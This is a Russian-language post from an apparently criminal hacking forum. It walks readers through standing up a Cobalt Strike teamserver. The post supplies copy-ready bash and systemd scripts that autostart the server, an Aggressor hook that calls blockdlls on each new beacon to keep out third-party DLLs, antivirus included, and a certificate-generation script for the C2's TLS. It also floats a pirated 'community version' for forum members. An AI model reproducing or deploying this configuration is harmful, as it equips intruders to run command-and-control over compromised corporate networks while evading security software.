[RU]

[EN]
Alphazine - Only Successful People.
ГАРАНТ ПОПОЛНИТЬ ДЕПОЗИТ

Вернуться   Alphazine - Only Successful People. > Общий > Хакинг. Уязвимости. > Статьи.

[Определение часового пояса]
[ Регистрация ]
Имя:
Отделение людей от роботов


 
Опции темы
cobaltstrike
Старый   #1
Admin
Админ
 
Регистрация: 01.01.2020
Сообщений: 1,684
Спасибо: 106 раз(а)
Репутация:    
Депозит: 0
БЛ: 24
cobaltstrike

Привет. КобальтСтрайк, Коба, кобальт. Это название в последнее время у всех на слуху (и не только оно), многие хотят, у некоторых даже получается. Не смотря ни на что XD продолжаю поднимать общий уровень грамотности, сегодня в эту летную погоду, хочу рассказать о важном. О начале. Имею ввиду тот самый момент, когда teamserver начинает свою работу и что нужно, чтобы эта самая работа приносила лучики тепла в Ваш дом.
Рафаель Смудж, так зовут основателя и главного идейного вдохновителя Армитажа, ныне cobaltstrike, создал и продолжает работу по воплощению мечты всех, кто решил посвятить себя "тестированию на проникновение в корпоративные сети". Такие эпитеты, наверное можно отнести только к еще одному замечательному изобретению любителей линукса, сетей, интернета и высоких технологий - shebang, а точнее его современной интерпритации .bash. Многие, возможно, станут улыбаться, и обвинять меня в предвзятости и.. Но я лишь хочу провести некую параллель, и показать остальным, кто менее предвзято относится к *nix системам, о чем это я сейчас. И тот и другой продукт - в голом виде представляют собой скучное зрелище, можно сказать у многих (как и у меня в начале знакомства) может сложиться впечатление незавершенности. Но в этом вся соль. И тот и другой вобрали в себя самое главное качество, присуще нашему с Вами времени: технологический прорыв, мультиплатформенность и способность работать с любыми видами ресурсов. Но сегодня хочу оставить уже приевшийся некоторым баш, и рассказать о кобальте, точнее, как я и говорил в самом начале - о начале) а именно об Aggressice Script Language. Хз, в свое время пытался найти материал по теме, но, к счастью все дороги привели на официальную документация, которую я тут и буду рекламировать.
Опустим с Вами момент создания сертификатов, ибо скрипт я приложу в конце статьи, который сделает всю чернуху за Вас (при условии настроенного днс, конечно)), сразу перейдем к делу Немногие знают, что .cna скрипты, так называемые дополнения, которые все мы любим находить на гитхабе и подключать к срипт-менеджеру, можно и нужно подключать при инициализации самого тим-сервера. Сейчас приведу простой пример, который, возможно. многих заставит взять хром-браузер и бороздить просторы оф-руководства.

Некоторые из нас слышали о-чудо-штуке, которая позволяет блокировать .DLL третьих лиц(да-да, в том числе и антивирусов) в child-процессе(т.е. непосредственно новой сессии), различные имплементации можно найти на гитхабе в достаточном количестве. Рафик же, тихо, как и нужно занятому и знающему что делать человеку, скромно поместил эту функцию сюда => https://cobaltstrike.com/aggressor-s...tml#bblockdlls



..и, так же скромно, объяснил как ей пользоваться. Штука совершенно потрясающая и просто обязана быть загрудена у читателей форума прямо с самого начала. Что мы с Вами сейчас и воплотим.
Лично я создавл простейший баш-скрипт-хелпер, который запускается с загрузкой системы через init.d(systemctl).

Код:
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike
./agscript 127.0.0.1 41447 support XHOSTPASSWORD support.cna &
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -Xms2048M -Xmx2048M -classpath ./cobaltstrike.jar server.TeamServer $(wget -qO- ipinfo.io/ip) XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts
cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver
Как видите, скрипт подойдет под любой сервер, не зависитот айпи и требует только изменить пароль на более неоднозначный, а системстл загрузит наш тс прямо тогда, когда нужно. Но не хватает главного, а именно темы разговора, support.cna

Код:
on beacon_initial {
        bblockdlls($1, true);
        bcd($1, "C:\\ProgramData");
}
Казалось-бы, всего-то пара символов, но облегчить работу тестирования и проникновения способен в разы)) Если вдруг кому зашло - не кидайтесь тапками, задайте вопрос и я постараюсь ответить на него всеми доступнымит мне методами ;-)

ЗЫ: как и говорил, скрипт по автоматическому созданию сертификатов, и не менее автоматическому их обновлению через cron прилагаю ниже. Сорян за паблик. Вроде как Букварь наз.

Код:
#!/bin/bash

cat<<'EOF'>/usr/local/bin/gencert
#!/bin/bash

[[ -z "$(type certbot)" ]] && apt-get -y install certbot apache2
[[ -z "$(type keytool)" ]] && apt-get -y install openjdk-11-jdk

runuser=$(whoami)
tempdir=$(pwd)
domain="$(hostname)"
password="XPASSWORD"
domainStore="java.keystore"
domainPkcs="$domain.pkcs12"

func_install_letsencrypt(){
  echo '[Starting] to build letsencrypt cert!'
  certbot certonly --standalone -d $domain -n --register-unsafely-without-email --agree-tos
  if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
    echo '[Success] letsencrypt certs are built!'
  else
    echo "[ERROR] letsencrypt certs failed to build.  Check that DNS A record is properly configured for this domain"
  exit 1
  fi
}

func_build_pkcs(){
  cd /etc/letsencrypt/live/$domain
  echo '[Starting] Building PKCS12 .p12 cert.'
  openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
  echo '[Success] Built $domainPkcs PKCS12 cert.'
  echo '[Starting] Building Java keystore via keytool.'
  printf "yes" | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
  echo '[Success] Java keystore $domainStore built.'
  cp $domainStore $tempdir
  echo '[Success] Moved Java keystore to current working directory.'
}

main() {
  func_install_letsencrypt
  func_build_pkcs
}

main

printf "\n\033[1;32m Готово!\n\n\033[1;37m \033[1;33m /etc/letsencrypt/archive/$domain \033[0m $(ls --color=always -l /etc/letsencrypt/archive/$domain)\n\n \033[1;33m /etc/letsencrypt/live/$domain \033[0m  $(ls --color=always -l /etc/letsencrypt/live/$domain)\033[0m\n"

[[ -z "$(cat /var/spool/cron/crontabs/root | grep gencert)" ]] && (crontab -l | grep . ; echo -e "0 0 1,15 * * sudo /usr/local/bin/gencert") | crontab -
EOF
chmod +x /usr/local/bin/gencert && gencert ; rm /usr/local/bin/gencert
Ну и как всегда постарался привнести максимум автоматизма и минимум телодвижений/редактирований. Изменить нужно только пароль, остальное - пулемет ;-)

ЗЫЫ: если кому совсем зайдет, предлагаю создать cobaltstrike.xsspirate_community_version ;-) совместными усилиями, думаю, выйдет неплохое отличие форума от осталной массы пресной воды

Автор: x4k
  Ответить с цитированием
Опции темы
Опции просмотра